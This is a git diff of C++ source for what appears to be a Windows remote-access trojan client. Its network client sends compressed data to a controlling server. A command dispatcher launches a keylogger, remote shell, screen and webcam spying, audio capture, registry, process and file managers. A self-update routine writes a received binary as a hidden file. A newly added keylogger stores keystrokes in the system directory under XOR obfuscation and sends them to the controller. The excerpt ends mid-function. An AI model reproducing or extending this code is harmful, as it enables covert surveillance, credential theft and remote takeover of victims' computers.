@@ -220,8 +257,8 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
sizeof(ULONG));
|
||||
|
||||
//--- <20><><EFBFBD>ݵĴ<DDB5>С<EFBFBD><D0A1>ȷ<EFBFBD>ж<EFBFBD>
|
||||
if (ulPackTotalLength &&
|
||||
(m_CompressedBuffer.GetBufferLength()) >= ulPackTotalLength)
|
||||
ULONG len = m_CompressedBuffer.GetBufferLength();
|
||||
if (ulPackTotalLength && len >= ulPackTotalLength)
|
||||
{
|
||||
m_CompressedBuffer.ReadBuffer((PBYTE)szPacketFlag, FLAG_LENGTH);//<2F><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7> shine
|
||||
|
||||
@@ -237,7 +274,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
|
||||
m_CompressedBuffer.ReadBuffer(CompressedBuffer, ulCompressedLength);
|
||||
|
||||
int iRet = uncompress(DeCompressedBuffer,
|
||||
size_t iRet = uncompress(DeCompressedBuffer,
|
||||
&ulOriginalLength, CompressedBuffer, ulCompressedLength);
|
||||
|
||||
if (Z_SUCCESS(iRet))//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD>ɹ<EFBFBD>
|
||||
@@ -248,11 +285,12 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
|
||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||
m_DeCompressedBuffer.GetBufferLength());
|
||||
if (m_Manager)
|
||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||
m_DeCompressedBuffer.GetBufferLength());
|
||||
}
|
||||
else{
|
||||
printf("[ERROR] uncompress failed \n");
|
||||
Mprintf("[ERROR] uncompress fail: dstLen %d, srcLen %d\n", ulOriginalLength, ulCompressedLength);
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
throw "Bad Buffer";
|
||||
@@ -260,17 +298,27 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
delete [] DeCompressedBuffer;
|
||||
#if _DEBUG
|
||||
// Mprintf("[INFO] uncompress succeed data len: %d expect: %d\n", len, ulPackTotalLength);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
else {
|
||||
Mprintf("[WARNING] OnServerReceiving incomplete data: %d expect: %d\n", len, ulPackTotalLength);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}catch(...) { }
|
||||
}catch(...) {
|
||||
m_CompressedBuffer.ClearBuffer();
|
||||
Mprintf("[ERROR] OnServerReceiving catch an error \n");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// <20><>server<65><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||
// <20>ر<EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1>SendWithSplit<69>ȽϺ<C8BD>ʱ<EFBFBD><CAB1>
|
||||
BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength) //Hello
|
||||
{
|
||||
AUTO_TICK(10);
|
||||
AUTO_TICK(50);
|
||||
assert (ulOriginalLength > 0);
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
|
||||
@@ -290,14 +338,13 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
||||
int iRet = compress(CompressedBuffer, &ulCompressedLength, (PBYTE)szBuffer, ulOriginalLength);
|
||||
if (Z_FAILED(iRet))
|
||||
{
|
||||
printf("[ERROR] compress failed \n");
|
||||
Mprintf("[ERROR] compress failed \n");
|
||||
delete [] CompressedBuffer;
|
||||
return FALSE;
|
||||
}
|
||||
#if !USING_ZLIB
|
||||
ulCompressedLength = iRet;
|
||||
#endif
|
||||
|
||||
ULONG ulPackTotalLength = ulCompressedLength + HDR_LENGTH;
|
||||
CBuffer m_WriteBuffer;
|
||||
|
||||
@@ -313,6 +360,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
||||
|
||||
delete [] CompressedBuffer;
|
||||
CompressedBuffer = NULL;
|
||||
|
||||
// <20>ֿ鷢<D6BF><E9B7A2>
|
||||
//shine[0035][0010][HelloWorld+12]
|
||||
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(),
|
||||
@@ -323,6 +371,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
|
||||
// 5 2 // 2 2 1
|
||||
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
|
||||
{
|
||||
AUTO_TICK(25);
|
||||
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
|
||||
const char* Travel = szBuffer;
|
||||
int i = 0;
|
||||
@@ -374,7 +423,7 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
|
||||
|
||||
VOID IOCPClient::Disconnect()
|
||||
{
|
||||
std::cout<<"<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||
Mprintf("<EFBFBD>Ͽ<EFBFBD><EFBFBD>ͷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n");
|
||||
|
||||
CancelIo((HANDLE)m_sClientSocket);
|
||||
closesocket(m_sClientSocket);
|
||||
|
||||
@@ -15,10 +15,14 @@
|
||||
#include "Buffer.h"
|
||||
#include "Manager.h"
|
||||
|
||||
#if USING_CTX
|
||||
#include "zstd/zstd.h"
|
||||
#endif
|
||||
|
||||
#pragma comment(lib,"ws2_32.lib")
|
||||
|
||||
#define MAX_RECV_BUFFER 1024*8
|
||||
#define MAX_SEND_BUFFER 1024*8
|
||||
#define MAX_RECV_BUFFER 1024*32
|
||||
#define MAX_SEND_BUFFER 1024*32
|
||||
#define FLAG_LENGTH 5
|
||||
#define HDR_LENGTH 13
|
||||
|
||||
@@ -30,11 +34,14 @@ public:
|
||||
IOCPClient(bool exit_while_disconnect = false);
|
||||
virtual ~IOCPClient();
|
||||
SOCKET m_sClientSocket;
|
||||
|
||||
CBuffer m_CompressedBuffer;
|
||||
BOOL m_bWorkThread;
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
|
||||
#if USING_CTX
|
||||
ZSTD_CCtx* m_Cctx; // ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ZSTD_DCtx* m_Dctx; // <20><>ѹ<EFBFBD><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
#endif
|
||||
BOOL ConnectServer(const char* szServerIP, unsigned short uPort);
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
|
||||
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
||||
@@ -46,6 +53,10 @@ public:
|
||||
return m_bIsRunning;
|
||||
}
|
||||
|
||||
void SetExit() {
|
||||
m_bIsRunning = FALSE;
|
||||
}
|
||||
|
||||
BOOL m_bIsRunning;
|
||||
BOOL m_bConnected;
|
||||
|
||||
|
||||
@@ -5,6 +5,10 @@
|
||||
#include "stdafx.h"
|
||||
#include "KernelManager.h"
|
||||
#include "Common.h"
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <corecrt_io.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
@@ -16,11 +20,11 @@ CKernelManager::CKernelManager(IOCPClient* ClientObject):CManager(ClientObject)
|
||||
|
||||
CKernelManager::~CKernelManager()
|
||||
{
|
||||
printf("~CKernelManager begin\n");
|
||||
Mprintf("~CKernelManager begin\n");
|
||||
int i = 0;
|
||||
for (i=0;i<0x1000;++i)
|
||||
for (i=0;i<MAX_THREADNUM;++i)
|
||||
{
|
||||
if (m_hThread->h!=0)
|
||||
if (m_hThread[i].h!=0)
|
||||
{
|
||||
CloseHandle(m_hThread[i].h);
|
||||
m_hThread[i].h = NULL;
|
||||
@@ -30,20 +34,101 @@ CKernelManager::~CKernelManager()
|
||||
}
|
||||
}
|
||||
m_ulThreadCount = 0;
|
||||
printf("~CKernelManager end\n");
|
||||
Mprintf("~CKernelManager end\n");
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>õ<EFBFBD><C3B5>߳<EFBFBD><DFB3>±<EFBFBD>
|
||||
UINT CKernelManager::GetAvailableIndex() {
|
||||
if (m_ulThreadCount < MAX_THREADNUM) {
|
||||
return m_ulThreadCount;
|
||||
}
|
||||
|
||||
for (int i = 0; i < MAX_THREADNUM; ++i)
|
||||
{
|
||||
if (m_hThread[i].p == NULL) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
||||
{
|
||||
if (size > 32 * 1024 * 1024) {
|
||||
Mprintf("WriteBinaryToFile fail: too large file size!!\n");
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
char path[_MAX_PATH], * p = path;
|
||||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||||
while (*p) ++p;
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p + 1, "ServerDll.new");
|
||||
if (_access(path, 0)!=-1)
|
||||
{
|
||||
DeleteFileA(path);
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>ģʽд<CABD><D0B4>
|
||||
std::string filePath = path;
|
||||
std::ofstream outFile(filePath, std::ios::binary);
|
||||
|
||||
if (!outFile)
|
||||
{
|
||||
Mprintf("Failed to open or create the file: %s.\n", filePath.c_str());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
outFile.write(data, size);
|
||||
|
||||
if (outFile.good())
|
||||
{
|
||||
Mprintf("Binary data written successfully to %s.\n", filePath.c_str());
|
||||
}
|
||||
else
|
||||
{
|
||||
Mprintf("Failed to write data to file.\n");
|
||||
outFile.close();
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// <20>ر<EFBFBD><D8B1>ļ<EFBFBD>
|
||||
outFile.close();
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>
|
||||
if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN))
|
||||
{
|
||||
Mprintf("File created and set to hidden: %s\n", filePath.c_str());
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
IOCPClient *pNew = szBuffer[0] == COMMAND_BYE ? NULL : new IOCPClient(true);
|
||||
m_hThread[m_ulThreadCount].p = pNew;
|
||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
|
||||
if (!isExit) {
|
||||
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
||||
return;
|
||||
}
|
||||
}
|
||||
else if (!isExit){
|
||||
m_hThread[m_ulThreadCount].p = new IOCPClient(true);
|
||||
}
|
||||
|
||||
switch(szBuffer[0])
|
||||
{
|
||||
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
LoopKeyboardManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_TALK:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopTalkManager,
|
||||
LoopTalkManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -51,7 +136,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SHELL:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopShellManager,
|
||||
LoopShellManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -59,7 +144,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SYSTEM: //Զ<>̽<EFBFBD><CCBD>̹<EFBFBD><CCB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)LoopProcessManager,
|
||||
LoopProcessManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -67,27 +152,38 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_WSLIST: //Զ<>̴<EFBFBD><CCB4>ڹ<EFBFBD><DAB9><EFBFBD>
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopWindowManager,
|
||||
LoopWindowManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_BYE:
|
||||
{
|
||||
BYTE bToken = COMMAND_BYE; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
||||
BYTE bToken = COMMAND_BYE;// <EFBFBD><EFBFBD><EFBFBD>ض<EFBFBD><EFBFBD>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = true; //say goodbye
|
||||
OutputDebugStringA("======> Bye bye \n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
m_bIsDead = 1;
|
||||
OutputDebugStringA("======> Client exit \n");
|
||||
break;
|
||||
}
|
||||
|
||||
case SERVER_EXIT:
|
||||
{
|
||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
m_bIsDead = 2;
|
||||
OutputDebugStringA("======> Server exit \n");
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SCREEN_SPY:
|
||||
{
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
m_hThread[m_ulThreadCount].user = user;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopScreenManager,
|
||||
LoopScreenManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -95,7 +191,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_LIST_DRIVE :
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopFileManager,
|
||||
LoopFileManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -103,7 +199,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_WEBCAM:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopVideoManager,
|
||||
LoopVideoManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -111,7 +207,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_AUDIO:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopAudioManager,
|
||||
LoopAudioManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -119,7 +215,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_REGEDIT:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopRegisterManager,
|
||||
LoopRegisterManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
break;
|
||||
}
|
||||
@@ -127,17 +223,36 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
case COMMAND_SERVICES:
|
||||
{
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopServicesManager,
|
||||
LoopServicesManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_UPDATE:
|
||||
{
|
||||
if (m_ulThreadCount != -1) {
|
||||
delete m_hThread[m_ulThreadCount].p;
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
}
|
||||
ULONGLONG size=0;
|
||||
memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG));
|
||||
if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) {
|
||||
extern BOOL g_bExit;
|
||||
g_bExit = 3;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
{
|
||||
OutputDebugStringA("======> Error operator\n");
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
delete pNew;
|
||||
pNew = NULL;
|
||||
char buffer[256] = {};
|
||||
strncpy(buffer, (const char*)(szBuffer+1), sizeof(buffer));
|
||||
Mprintf("!!! Unknown command: %s\n", buffer);
|
||||
if (m_ulThreadCount != -1) {
|
||||
delete m_hThread[m_ulThreadCount].p;
|
||||
m_hThread[m_ulThreadCount].p = NULL;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -12,13 +12,16 @@
|
||||
#include "Manager.h"
|
||||
#include <vector>
|
||||
|
||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>
|
||||
#define MAX_THREADNUM 0x1000>>2
|
||||
|
||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
||||
struct ThreadInfo
|
||||
{
|
||||
BOOL run;
|
||||
HANDLE h;
|
||||
IOCPClient *p;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
|
||||
void* user;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ }
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
@@ -28,8 +31,11 @@ public:
|
||||
virtual ~CKernelManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
ThreadInfo m_hThread[0x1000];
|
||||
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>쳣
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
||||
ULONG m_ulThreadCount;
|
||||
UINT GetAvailableIndex();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
|
||||
|
||||
505
client/KeyboardManager.cpp
Normal file
505
client/KeyboardManager.cpp
Normal file
@@ -0,0 +1,505 @@
|
||||
// KeyboardManager.cpp: implementation of the CKeyboardManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "KeyboardManager.h"
|
||||
#include <tchar.h>
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include <iostream>
|
||||
#include <winbase.h>
|
||||
#include <winuser.h>
|
||||
using namespace std;
|
||||
|
||||
#define FILE_PATH "\\MODIf.html"
|
||||
#define CAPTION_SIZE 1024
|
||||
|
||||
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
|
||||
{
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
sendOfflineRecord();
|
||||
|
||||
GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
|
||||
lstrcat(m_strRecordFile, FILE_PATH);
|
||||
|
||||
m_bIsWorking = true;
|
||||
dKeyBoardSize = 0;
|
||||
|
||||
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||
}
|
||||
|
||||
CKeyboardManager1::~CKeyboardManager1()
|
||||
{
|
||||
m_bIsWorking = false;
|
||||
WaitForSingleObject(m_hWorkThread, INFINITE);
|
||||
WaitForSingleObject(m_hSendThread, INFINITE);
|
||||
CloseHandle(m_hWorkThread);
|
||||
CloseHandle(m_hSendThread);
|
||||
}
|
||||
|
||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||
{
|
||||
if (lpBuffer[0] == COMMAND_NEXT)
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
||||
}
|
||||
|
||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
||||
DeleteFile(m_strRecordFile);
|
||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
CloseHandle(hFile);
|
||||
dKeyBoardSize = 0;
|
||||
}
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendStartKeyBoard()
|
||||
{
|
||||
BYTE bToken[2];
|
||||
bToken[0] = TOKEN_KEYBOARD_START;
|
||||
bToken[1] = (BYTE)true;
|
||||
|
||||
return Send((LPBYTE)&bToken[0], sizeof(bToken));
|
||||
}
|
||||
|
||||
|
||||
int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
||||
{
|
||||
int nRet = -1;
|
||||
DWORD dwBytesLength = 1 + nSize;
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||
|
||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||
memcpy(lpBuffer + 1, lpData, nSize);
|
||||
|
||||
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||
LocalFree(lpBuffer);
|
||||
|
||||
return nRet;
|
||||
}
|
||||
|
||||
int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
|
||||
{
|
||||
int nRet = 0;
|
||||
DWORD dwSize = 0;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile != INVALID_HANDLE_VALUE) {
|
||||
dwSize = GetFileSize(hFile, NULL);
|
||||
dKeyBoardSize = dwSize;
|
||||
if (0 != dwRead) {
|
||||
SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
|
||||
dwSize -= dwRead;
|
||||
}
|
||||
|
||||
TCHAR *lpBuffer = new TCHAR[dwSize];
|
||||
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
|
||||
lpBuffer[i] ^= '`';
|
||||
|
||||
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
|
||||
delete[] lpBuffer;
|
||||
}
|
||||
CloseHandle(hFile);
|
||||
return nRet;
|
||||
}
|
||||
|
||||
|
||||
string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||
{
|
||||
string KeyString = "";
|
||||
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
||||
int iShift=GetKeyState(0x10); //<2F>ж<EFBFBD>Shift<66><74>״̬
|
||||
bool IS=(iShift & KeyPressMask)==KeyPressMask; //<2F><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Shift<66><74>
|
||||
if(Key >=186 && Key <=222) {
|
||||
switch(Key) {
|
||||
case 186:
|
||||
if(IS)
|
||||
KeyString = ":";
|
||||
else
|
||||
KeyString = ";";
|
||||
break;
|
||||
case 187:
|
||||
if(IS)
|
||||
KeyString = "+";
|
||||
else
|
||||
KeyString = "=";
|
||||
break;
|
||||
case 188:
|
||||
if(IS)
|
||||
KeyString = "<";
|
||||
else
|
||||
KeyString = ",";
|
||||
break;
|
||||
case 189:
|
||||
if(IS)
|
